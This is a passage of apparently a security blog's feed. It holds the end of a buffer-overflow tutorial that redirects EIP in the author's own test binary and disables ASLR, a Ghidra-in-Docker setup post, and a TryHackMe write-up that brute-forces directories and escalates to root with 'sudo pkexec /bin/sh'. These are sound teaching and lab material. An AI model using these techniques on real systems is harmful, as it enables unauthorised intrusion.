Segmentation fault (core dumped)</code></pre><figcaption>Oops</figcaption></figure><p>Well, that kind of worked. It certainly output the parameter we entered, but then we had the weird message <code>Segmentation fault (core dumped)</code>. So what is this?</p><p>In a simplified nutshell, a segmentation fault occurs when the processor tries to do something with memory it doesn&apos;t have access to. So, during the course of execution something has happened which has made the CPU look somewhere it wasn&apos;t expecting to.</p><p>Getting a program to crash is pretty cool, but we can do better than this, right? After all, we have that whole other function that we haven&apos;t used yet.</p><h2 id="finding-badness">Finding Badness</h2><p>So, what&apos;s causing our crash and how can we make use of it?</p><p>The first thing to do with this is to run the program through a debugger and see at what point it&apos;s failing. For this I&apos;ll use GDB which is a standard debugger available on most *nix platforms. My version has <a href="https://gef.readthedocs.io/en/master/?ref=ceisc.co.uk">GEF</a> (GDB Enhanced Features) installed as I find this makes debugging easier. We&apos;ll fire it up with the following command:</p><p><code>gdb --args ./stack-redirection WillThisWorkProperly?</code></p><p>This looks very similar to the command we had before but simply pre-pended with <code>gdb --args</code> which asks GDB to run our file with the arguments provided. This then takes us into GDB:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-3.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="630" height="363" srcset="https://ceisc.co.uk/content/images/size/w600/2020/11/image-3.png 600w, https://ceisc.co.uk/content/images/2020/11/image-3.png 630w"><figcaption>Initial screen on starting GDB</figcaption></figure><p>From here we&apos;ll type <code>r</code> and hit return to tell GDB to run the program. The next output we see is as follows:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-4.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="443" height="435"><figcaption>GDB after the executable has crashed</figcaption></figure><p>We can see from this that the program tried and failed to access memory at address <code>0x706f7250</code>. The question now is &quot;Why did it try to access this memory?&quot;. It also says that it <code>Cannot disassemble from $PC</code>. <code>$PC</code> is the Program Counter and tells the CPU which instruction to execute next.</p><p>So, the crash is caused by the processor trying to fetch its next instruction from an area of memory it can&apos;t access this. More &quot;Why?&quot; based questions may arise from this. Obviously there is something about the argument we fed it which caused this to happen.</p><p>It helps to know that the program counter is stored in one of the registers in the CPU (registers can be thought of as very small areas of very quick memory which the CPU uses when it performs instructions). On an x86/32-bit platform the register used is called EIP. If we look further up the screenshot we can see that the value of <code>$eip</code> is set to <code>0x706f7250</code>, which looks remarkably familiar. Next to that value we can see the string <code>&quot;Prop&quot;</code> which is interesting as it looks like part of the argument we sent to the program in the first place, &quot;WillThisWork<strong>Prop</strong>erly?&quot;.</p><p>So, it looks like part of the value we sent to the program has directly influence where the CPU looks for code to be executed. Let&apos;s try again changing only this part of the argument and see what happens:</p><p><code>gdb --args ./stack-redirection WillThisWorkAAAAerly?</code></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-5.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="457" height="443"><figcaption>Another day, another crash in GDB</figcaption></figure><p>Well, this is looking good. We&apos;ve confirmed that those four specific characters in our input give us control over the value in EIP.</p><p>So, what can we do with this?</p><h2 id="exploiting-the-weakness">Exploiting the Weakness</h2><p>As we have full control over what value ends up in EIP, we could craft a parameter to send to the program which moves control to an area of memory which is: a) accessible to the CPU, and b) contains valid instructions to be executed.</p><p>Where can we find such a value and what value do we want to put in? Well, I seem to recall, a couple of thousand words or so ago, saying that we were going to put an extra function in our code to prove that we could exploit the flaw. Wouldn&apos;t it be nice to put something in the parameter to do this?</p><p>The answer here is obviously a yes, but it does lead us to the question of &quot;How do we know what value to put in so this happens?&quot;</p><p>Enter my good friend Ghidra.</p><p>Ghidra is a tool for decompiling executable code and showing it in both assembler and an approximated C form. It also shows where in the memory the code in question is mapped to. Once we know where the code for our extra function resides we can use this address in the parameter sent to the application and get it to execute this function.</p><p>Let&apos;s fire up Ghidra and take a look at the code:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-7.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="598" height="677"><figcaption>Code in Ghidra</figcaption></figure><p>As you can see at the bottom of the picture we have code which looks remarkably similar to that of our initial source code, with the <code>main</code> function starting at address <code>0x0804919a</code>. A little bit up from this at address <code>0x08049186</code> we can see our <code>do_not_run</code> function.</p><p>We should now be able to use this address in our parameter to trick the program into executing our function. Let&apos;s give it a go:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">./stack-redirection $(echo -e &quot;WillThisWork\x86\x91\x04\x08erly?&quot;)
WillThisWork&#xFFFD;erly?
This shouldn&apos;t get called.
Segmentation fault (core dumped)</code></pre><figcaption>Success!</figcaption></figure><p>As you can see, our program still crashed out with <code>Segmentation fault (core dumped)</code> but immediately before that we have a new line in the output: <code>This shouldn&apos;t get called</code>. It looks like we have successfully diverted the execution of the program and got it to run our other function.</p><p>There are a few things to note in this:</p><ol><li>The way I have supplied the argument looks a bit odd. This is because some of the required values don&apos;t have ASCII equivalents which you can type on a keyboard so they&apos;ve had to be entered as escaped hex values. The <code>$(...)</code> part executes the commands inside and then uses this as the value for the parameter and the <code>echo -e</code> is so that the string is turned from ASCII with escaped hex into raw data.</li><li>The hex values which have been entered are in the reverse order than we saw in Ghidra. This is because the x86 architecture is <code>little-endian</code> which means that the least significant byte appears in memory first so we have to swap the bytes around (each byte is represented by two ASCII characters so we have to swap them in pairs).</li><li>The value that our <code>main</code> function prints back out doesn&apos;t quite look right. This is due to the lack of printable ASCII equivalents to the values, as mentioned in point 1.</li><li>The program still crashes. This happens because of the damage we did to the stack when we overwrote the original return address. Although we got it to execute the other function when it reached the <code>ret</code> instruction at the end of that function, it tried to use another value from the stack to jump to, which then failed.</li></ol><h2 id="wrapping-up">Wrapping Up</h2><p>So, we have now gone through the journey of understanding how computer programs are loaded into memory, what a buffer overflow looks like, how to craft a vulnerable program, and how to exploit that weakness.</p><p>During the course of this journey there are quite a few details which have been glossed over or simplified in an attempt to prevent this post growing out of control, but I&apos;m hopeful most of the basics have been explained in a way you could understand.</p><p>Going forward I&apos;m planning on adding more to this series which should add more meat to the bones on some of these ideas and further aid understanding on what&apos;s going on under the hood.</p><p>If you enjoyed this article be sure to keep an eye out for the next in the series.</p><h2 id="one-last-thing-">One last thing...</h2><p>You may be wondering if it&apos;s possible to exploit this flaw and have the program terminate normally rather than crashing.</p><p>Like with so much where computers are involved, it&apos;s not a simple yes or no answer. With some tweaks being made to how the underlying operating system functions, it&apos;s possible to add an additional return address to the parameter to get it to jump to the normal exit procedure for the program, but this relies on ASLR (Address Space Layout Randomisation) being disabled at the OS level.</p><p>I won&apos;t go into detail on what ASLR is at the moment as it&apos;s out of scope for this article but should be covered in future posts. I will tell you that in order to disable it you just need to run:</p><p><code>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</code></p><p>This requires superuser privileges on the machine so if you don&apos;t own the machine you won&apos;t be able to do this. It is also not something you should be doing except for testing purposes.</p><p>Once this has been done you just need to find what address the original function should have been returning to and add this to our command line parameter. In order to do this we&apos;ll return to GDB and examine the values on the stack at the point where execution enters the <code>main</code> function:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-8.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="604" height="155" srcset="https://ceisc.co.uk/content/images/size/w600/2020/11/image-8.png 600w, https://ceisc.co.uk/content/images/2020/11/image-8.png 604w"><figcaption>Stack values when <code>main</code> starts</figcaption></figure><p>The value we care about from here is the 4th item up the stack (or 4th item down on this list due to the way it&apos;s displayed). This is at address <code>0xffffd3dc</code> and is set to <code>0xf7df6ee5</code>.</p><p>If we use this value in our parameter we should see that the program appears to exit successfully:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">./stack-redirection $(echo -e &quot;WillThisWork\x86\x91\x04\x08\xe5\x6e\xdf\xf7&quot;)
WillThisWork&#xFFFD;&#xFFFD;n&#xFFFD;&#xFFFD;
This shouldn&apos;t get called.</code></pre><figcaption>Successful exploit and exit</figcaption></figure><p> You&apos;ll have to take my word that it did exit successfully and that I haven&apos;t just removed the crash line.</p><p>The issue we have here is that this won&apos;t work correctly is ASLR is enabled and there are a number of other things which could change to prevent it working correctly but it does, at least in this instance, allow the program to exit correctly.</p><p>The actual mechanism used here for stringing together return addresses in the exploit is the basis for forming ROP chains which can give a lot of flexibility on what code you can get the process to execute. </p><p>I will be covering exploiting using ROP chains in a future post but for now I will bid you all a fond goodbye and hope to see you back here for the next instalment.</p>]]></content:encoded></item><item><title><![CDATA[Ghidra on Docker accessed using X forwarding over SSH]]></title><description><![CDATA[Today I looked into getting Ghidra running on a remote machine in Docker and set it up to forward the display to my local machine over SSH.]]></description><link>https://ceisc.co.uk/ghidra-on-docker-via-ssh/</link><guid isPermaLink="false">5fb3376ed94dbe0689a138c0</guid><category><![CDATA[docker]]></category><category><![CDATA[ghidra]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Tue, 17 Nov 2020 03:31:33 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/11/docker.png" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/11/docker.png" alt="Ghidra on Docker accessed using X forwarding over SSH"><p>To combat the impostor syndrome I have been feeling over my InfoSec knowledge, I decided to plan out talks in subjects I am both excited for and know a bit about.</p><p>First up is binary exploitation, specifically around buffer overflows. </p><p>What does this have to do with Ghidra, I imagine you asking.</p><p>Well, I&apos;m glad you asked...</p><p>As the first step towards being able to teach/talk about buffer overflows I decided I&apos;d quickly put together some code which demonstrates how the overflow techniques work. This way it&apos;d be much easier to demonstrate and explain as I would have some executables made from simple source code which clearly show the issues I&apos;m presenting and which functioned as expected.</p><p>After having created the first one, I decided that it might be useful if I had a way to reverse out the binary to check that it was structured the way I expected (this was mainly because i wanted to check that <code>gcc</code> wasn&apos;t optimising away one of the functions my exploit would rely on. In order to do this I would usually use <a href="https://ghidra-sre.org/?ref=ceisc.co.uk">ghidra</a>. There are other reversing tools out there, but this is the one I&apos;m currently most familiar with.</p><p>In order to do the development work for the buffer overflow material and have a place in which to demonstrate it, I&apos;d spun myself up a new Ubuntu virtual machine with the intention of using Docker to run each of the different binaries. The plan was that each executable would be placed into a different docker container and set up so that I could <code>nc</code> into them and interact with the program. Ideally keeping it all nice and clean and allowing myself to quickly start and stop the instances.</p><p>The problem with this is that now everything is remote and it doesn&apos;t really work with me being able to use Ghidra from my normal laptop. I decided that I didn&apos;t want to install Ghidra directly on the VM as I was trying to keep it as clean and uncluttered as possible.</p><p>At this point, <strong>An Idea</strong> happened: why couldn&apos;t I also run Ghidra in a docker container?</p><p>I couldn&apos;t immediately see any reason this wouldn&apos;t work and, fortunately, I had no one around to tell me it was a bad idea. So I set to work.</p><p>Usually when I first start out with a fresh idea for something I want to Dockerise (not sure if that&apos;s a word but as this is my blog I&apos;ll use it anyway), I would start with a fairly blank image and iteratively add the packages I need as I work out how to get the software running. After a few tries, this is what I ended up with for my <code>Dockerfile</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-Dockerfile">FROM ubuntu:20.10

ENV DEBIAN_FRONTEND noninteractive

RUN apt update &amp;&amp; \
  apt upgrade --auto-remove -y

RUN apt install -y \
    curl \
    wget \
    unzip \
    openjdk-11-jdk-headless &amp;&amp; \
  rm -rf /var/lib/apt/lists/*

RUN useradd -ms /bin/bash ghidra

WORKDIR /home/ghidra
RUN chown ghidra:ghidra /home/ghidra &amp;&amp; chmod 770 /home/ghidra

USER ghidra:ghidra
RUN N=$(curl -s https://ghidra-sre.org/ | grep code.*PUBL | sed &apos;s/^.*&lt;code&gt;\(.*\)&lt;\/code&gt;.*$/\1/&apos;); \
  HASH=$(echo ${N} | cut -d &quot; &quot; -f 1); \
  FILE=$(echo ${N} | cut -d &quot; &quot; -f 2); \
  curl -s -o ghidra.zip https://ghidra-sre.org/${FILE}; \
  SHA=$(sha256sum ghidra.zip | cut -d &quot; &quot; -f 1); \
  if [ &quot;${SHA}&quot; != &quot;${HASH}&quot; ]; then \
    exit -1; \
  fi; \
  unzip ghidra.zip &gt; /dev/null 2&gt;&amp;1; \
  mv *PUBLIC ghidra; \
  rm ghidra.zip; \
  sed -i &apos;s/bg/fg/&apos; /home/ghidra/ghidra/ghidraRun

CMD [&quot;/home/ghidra/ghidra/ghidraRun&quot;]</code></pre><figcaption>Dockerfile - adds the components required to download and run Ghidra to a Ubuntu base</figcaption></figure><p>Luckily there weren&apos;t too many dependencies required. I had to do some messing around with parsing out the URL for the download from the Ghidra website and this file will probably break if the NSA choose to change the site too much. I was initially trying to use GitHub for the downloads but it looks like they only have source packages there and I wasn&apos;t feeling hardcore enough to build it from scratch as part of the process. I also had to change the script that&apos;s provided for starting Ghidra so that it didn&apos;t go into the background. This is because if it <em>did</em> background, the startup script would end and Docker would see the main process had finished and shut down the container.</p><p>This <code>Dockerfile</code> was then built with <code>docker build --rm --tag ceisc/ghidra .</code> from the directory with the <code>Dockerfile</code> in it.</p><p>This all seemed to work fine, but there was another hurdle to overcome:</p><p><code>AWTError - Can&apos;t connect to X11 window server using &apos;:0.0&apos; as the value of the DISPLAY variable.</code></p><p>It wasn&apos;t entirely unexpected that it wasn&apos;t going to be able to find a X11 server to connect to - I had, after all, done nothing to get this side of it to work.</p><p>My first step in resolving this was to make sure that I had X11 forwarding enabled on the SSH connection, so I added <code>-X</code> to the ssh command line. That turned out to be one of the simplest parts.</p><p>By default the X forwarding binds to the localhost address of the machine you&apos;re <code>ssh</code>d into, which doesn&apos;t really lend itself to having it available in the Docker container. It would probably be possible to either 1) run docker with <code>--net host</code> to grant it access to the host&apos;s network, but that felt like too much access, or 2) change the SSHD setup to allow connections outside of localhost. Option 2 also felt wrong as my X server would be available from other parts of my network.</p><p>Luckily I stumbled over an excellent Stack Overflow <a href="https://stackoverflow.com/a/64284364/4074984?ref=ceisc.co.uk">answer</a> which told me exactly what I needed to do:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">iptables \
  --table nat \
  --insert PREROUTING \
  --proto tcp \
  --destination 172.17.0.1 \
  --dport 6010 \
  --jump DNAT \
  --to-destination 127.0.0.1:6010

sysctl net.ipv4.conf.docker0.route_localnet=1</code></pre><figcaption>iptables rule for enabling docker container to reach the forwarded port</figcaption></figure><p>The <code>iptables</code> command simply intercepts connections to port 6010 (the port <code>DISPLAY=:10</code> maps to) for the host&apos;s docker IP and redirects it to the same port on <code>localhost</code>.</p><p>Once this was in place I just needed to do some magic around <code>xauth</code> to ensure that when the docker container tried to connect it would be allowed to do so. This was wrapped up in a <code>bash</code> script I put together to use whenever I needed to run ghidra:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">#!/bin/bash

XAUTH=/home/ceisc/.ghidra/.docker.xauth
touch ${XAUTH}

xauth nlist $DISPLAY | sed -e &apos;s/^..../ffff/&apos; | xauth -f $XAUTH nmerge -

docker run --rm -d -e DISPLAY=&quot;172.17.0.1:10&quot; -e XAUTHORITY=${XAUTH} -v ${XAUTH}:${XAUTH} ceisc/ghidra:latest</code></pre><figcaption>ghidra launch script</figcaption></figure><p>The launch script creates an xauth file in my home directory, grabs the access tokens and merges them into this file. It then launches my docker image passing through the <code>DISPLAY</code> environment variable so it knows where to connect to, the <code>XAUTHORITY</code> environment variable to tell it where the <code>xauth</code> file is, and also maps that file into the same location within the running container. It&apos;s also set to detach (<code>-d</code>) so we can return to our command prompt and to delete (<code>--rm</code>) the container once we&apos;re done with it.</p><p>Running this script then did everything I was expecting and I was greeted with the very welcome sight of Ghidra firing up and displaying on my local machine:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image.png" class="kg-image" alt="Ghidra on Docker accessed using X forwarding over SSH" loading="lazy"><figcaption>Ghidra running from Docker on a VM with SSH forwarding to my local machine</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-1.png" class="kg-image" alt="Ghidra on Docker accessed using X forwarding over SSH" loading="lazy"><figcaption>ghidra ready to go</figcaption></figure><p>All in all this really didn&apos;t take me that long to achieve (I have probably spent more time writing this article about it than it took to actually get running) and I&apos;m very pleased with the result.</p><p>The only steps left to take in order to make this slightly better I would make the <code>iptables</code> and <code>sysctl</code> commands persist over machine restarts and I need to modify the start-up script so that it maps through the directories containing the binaries I need to decompile.</p>]]></content:encoded></item><item><title><![CDATA[THM - Lian_Yu]]></title><description><![CDATA[Write up for the Lian_Yu room on TryHackMe]]></description><link>https://ceisc.co.uk/thm-lian_yu/</link><guid isPermaLink="false">5eef36e85d41ad063a297e16</guid><category><![CDATA[thm-writeup]]></category><category><![CDATA[learning-career]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Sun, 21 Jun 2020 20:49:23 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/06/nick-fewings-S7cyjr_3prc-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/06/nick-fewings-S7cyjr_3prc-unsplash.jpg" alt="THM - Lian_Yu"><p>Another day, another THM write-up. Today I will be taking on the <a href="https://tryhackme.com/?ref=ceisc.co.uk">TryHackMe</a> room <a href="https://tryhackme.com/room/lianyu?ref=ceisc.co.uk">Lian_Yu</a>. It&apos;s marked as being easy, so we&apos;ll see how I get on.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>Room card for Lian_Yu</figcaption></figure><h2 id="recon">Recon</h2><p>So, as is fairly usual, we&apos;re presented with a machine to attack and told to start enumerating. The room card mentions <code>gobuster</code> so the chances are that there&apos;ll be a web server running on it.</p><p>The first two things I started with were <code>nmap</code> and <code>gobuster</code>:</p><figure class="kg-card kg-code-card"><pre><code>nmap -sV -sC -p- -T4 -oN /tryhackme/lianyu/nmap 10.10.210.120

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Purgatory
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43029/udp6  status
|   100024  1          46293/tcp   status
|   100024  1          51379/udp   status
|_  100024  1          56748/tcp6  status
46293/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre><figcaption>nmap command and results</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>gobuster dir -u http://10.10.210.120 -w ../big.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.120
[+] Threads:        10
[+] Wordlist:       ../big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/21 11:25:59 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/island (Status: 301)
/server-status (Status: 403)
===============================================================
2020/06/21 11:26:57 Finished
===============================================================</code></pre><figcaption>gobuster command and results</figcaption></figure><p>No real surprises there. We have a web server running on port 80, FTP on 21, and a SSH server on 22. <code>gobuster</code> found us a directory on the server to take a look at, so we&apos;ll do just that:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-1.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>/island</figcaption></figure><p>What? No code word? Let&apos;s check the source:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-2.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>There it is...</figcaption></figure><p>We could also have found the code word by highlighting all the text on the page.</p><p>The tasks on the THM page suggest we should have found something else:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-3.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>Task #2</figcaption></figure><p>By the look of it, it&apos;s a 4 character directory name we&apos;re looking for and it appears <code>gobuster</code> didn&apos;t manage to find it.</p><p>Given that it&apos;s only 4 chars, that shouldn&apos;t take long to brute-force so we&apos;ll use <code>crunch</code> to generate us all the possibilities and feed this into <code>gobuster</code>:</p><pre><code>crunch 4 4 &gt; four.list

Crunch will now generate the following amount of data: 2284880 bytes
2 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 456976

</code></pre><p>Running this through <code>gobuster</code> got me no results. On checking the file, it&apos;s only generating for alphabetic chars. Let&apos;s try that again with numbers:</p><pre><code>crunch 4 4 0123456789 &gt; four-numbers.list</code></pre><figure class="kg-card kg-code-card"><pre><code>gobuster dir -u http://10.10.210.120/island -w four-numbers.list 

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.210.120/island
[+] Threads:        10
[+] Wordlist:       four-numbers.list
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/21 11:53:38 Starting gobuster
===============================================================
/2100 (Status: 301)
===============================================================
2020/06/21 11:54:07 Finished
===============================================================</code></pre><figcaption>woot woot - we found something</figcaption></figure><p>Let&apos;s have a look at the /island/2100 page:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-4.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>/island/2100</figcaption></figure><p>Within the source, there&apos;s a comment:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-5.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>comment in source code</figcaption></figure><p>This looks like it&apos;s suggesting some form of file extension and the task in the room gives us a steer towards what we&apos;re expecting to find:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-6.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>Task #3</figcaption></figure><p>Running <code>gobuster</code> with my usual list and the argument <code>-x &quot;ticket&quot;</code> comes back with nothing, so I thought I&apos;d take a look at the mask in the answer. The part before the period is 11 characters long. Much like Oliver Queen&apos;s name.</p><p>Running for all variants on Oliver Queen (including l33t speak versions, which I went and got a <a href="http://pythonfiddle.com/leetpermutations/?ref=ceisc.co.uk">nice tool</a> to generate) came back with nothing. Thought I&apos;d try Robert Queen as well. Still nada.</p><p>Went and got a bigger list for <code>gobuster</code> and got a result pretty quickly. Think I&apos;ll use that list first next time...</p><figure class="kg-card kg-code-card"><pre><code>gobuster dir -u http://10.10.38.17/island/2100/ -w ../directory-list-2.3-big.txt -x &quot;ticket&quot;

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.38.17/island/2100/
[+] Threads:        10
[+] Wordlist:       ../directory-list-2.3-big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     ticket
[+] Timeout:        10s
===============================================================
2020/06/21 20:37:35 Starting gobuster
===============================================================
/g*********w.ticket (Status: 200)</code></pre><figcaption>Well, maybe I should have tried this list first...</figcaption></figure><p>Going to this URL gives the following:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-7.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>Another token</figcaption></figure><p>The next task appears to be getting in to FTP:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/06/image-8.png" class="kg-image" alt="THM - Lian_Yu" loading="lazy"><figcaption>Task #4</figcaption></figure><p>Trying a few usernames, the one I found which asked for a password was the word found &quot;hidden&quot; in the HTML from earlier.</p><p>Unfortunately, the token given in the previous task was not the password for it.</p><p>It did look like it could be in an encoded format, however, so I stuck it in <a href="https://gchq.github.io/CyberChef?ref=ceisc.co.uk">CyberChef</a> and got something usable in Base58.</p><p>This got me in on FTP and allowed access to the following:</p><figure class="kg-card kg-code-card"><pre><code>ftp 10.10.38.17

Connected to 10.10.38.17.
220 (vsFTPd 3.0.2)
Name (10.10.38.17:root): v******** 
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01 03:26 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05 11:10 Queen&apos;s_Gambit.png
-rw-r--r--    1 0        0          191026 May 01 03:25 aa.jpg
226 Directory send OK.</code></pre><figcaption>FTP Success</figcaption></figure><p>Only two of these seemed to be pictures, however:</p><figure class="kg-card kg-code-card"><pre><code>file *.{png,jpg}

Leave_me_alone.png: data
Queen&apos;s_Gambit.png: PNG image data, 1280 x 720, 8-bit/color RGBA, non-interlaced
aa.jpg:             JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1200x1600, components 3</code></pre><figcaption>What&apos;s in these files then?</figcaption></figure><p>The aa.jpg file seems to have something hidden in it, as found by running <code>stegcracker</code> on it. I probably didn&apos;t need to use <code>stegcracker</code> as the password was pretty obvious.</p><p>Anyways, this contained a zip file containing a file with a password in and a file called passwd.txt which warned about booby traps on the island.</p><p>The password is not for the user we used for the FTP connection, however. Luckily, whilst I was FTPd in, I checked out what other users were on the system and so I knew to try the name <code>slade</code>. This name, along with the password we just gained got me in.</p><p>Once in here, we get access to the <code>user.txt</code> file:</p><figure class="kg-card kg-code-card"><pre><code>slade@LianYu:~$ ls

user.txt

slade@LianYu:~$ cat user.txt 
THM{&lt;REDACTED&gt;}
			--Felicity Smoak</code></pre><figcaption>user.txt</figcaption></figure><p>All we need to do now is find some way of escalating our privs to get root.</p><p>I first started looking for SUID files before remembering that <code>sudo -l</code> is always worth a quick check to see if there&apos;s anything the user can do which may be of help:</p><figure class="kg-card kg-code-card"><pre><code>sudo -l

[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec</code></pre><figcaption>sudo -l results</figcaption></figure><p>OK, looks like we can sudo <code>/usr/bin/pkexec</code>. A quick check on this on <a href="https://gtfobins.github.io/?ref=ceisc.co.uk">gtfobins</a> shows we can simply <code>sudo pkexec /bin/sh</code> out way to glory:</p><figure class="kg-card kg-code-card"><pre><code>slade@LianYu:/$ sudo pkexec /bin/sh
# cd /root
# ls
root.txt
# cat root.txt	
                          Mission accomplished



You are injected me with Mirakuru:) ---&gt; Now slade Will become DEATHSTROKE. 



THM{&lt;REDACTED&gt;}
									      --DEATHSTROKE

Let me know your comments about this machine :)</code></pre><figcaption>getting root.txt</figcaption></figure><h3 id="conclusion">Conclusion</h3><p>All-in-all this was a fairly simple room (well, it is ranked as <code>easy</code>). There were a couple of takeaways from me on this:</p><ul><li>Always use the large directory file for <code>gobuster</code></li><li><code>crunch</code> doesn&apos;t include numbers in it&apos;s alphabet by default</li><li>Don&apos;t disappear down a rabbit hole trying to fix what appears to be a corrupted <code>png</code> file without doing more obvious things first</li></ul><p>Anyways, that&apos;s about it for this time around. Hope you enjoyed reading :)</p>]]></content:encoded></item><item><title><![CDATA[THM - Skynet]]></title><description><![CDATA[Write-up for the Skynet room on TryHackMe]]></description><link>https://ceisc.co.uk/thm-skynet/</link><guid isPermaLink="false">5ed164925d41ad063a297ac2</guid><category><![CDATA[thm-writeup]]></category><category><![CDATA[hacking]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Fri, 29 May 2020 21:50:36 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/05/conor-luddy-IGa3Md8wP6g-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/05/conor-luddy-IGa3Md8wP6g-unsplash.jpg" alt="THM - Skynet"><p>Today&apos;s write up is not the success story I was hoping it would be. Despite the room showing as being &quot;easy&quot; on <a href="https://tryhackme.com/?ref=ceisc.co.uk">TryHackMe</a>, I didn&apos;t complete it without referring to the official write-up a couple of times.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/05/image-24.png" class="kg-image" alt="THM - Skynet" loading="lazy"><figcaption>Room card for Skynet</figcaption></figure><p>It&apos;s possible that it&apos;s ranked &quot;easy&quot; because it comes with an official write-up which is displayed within 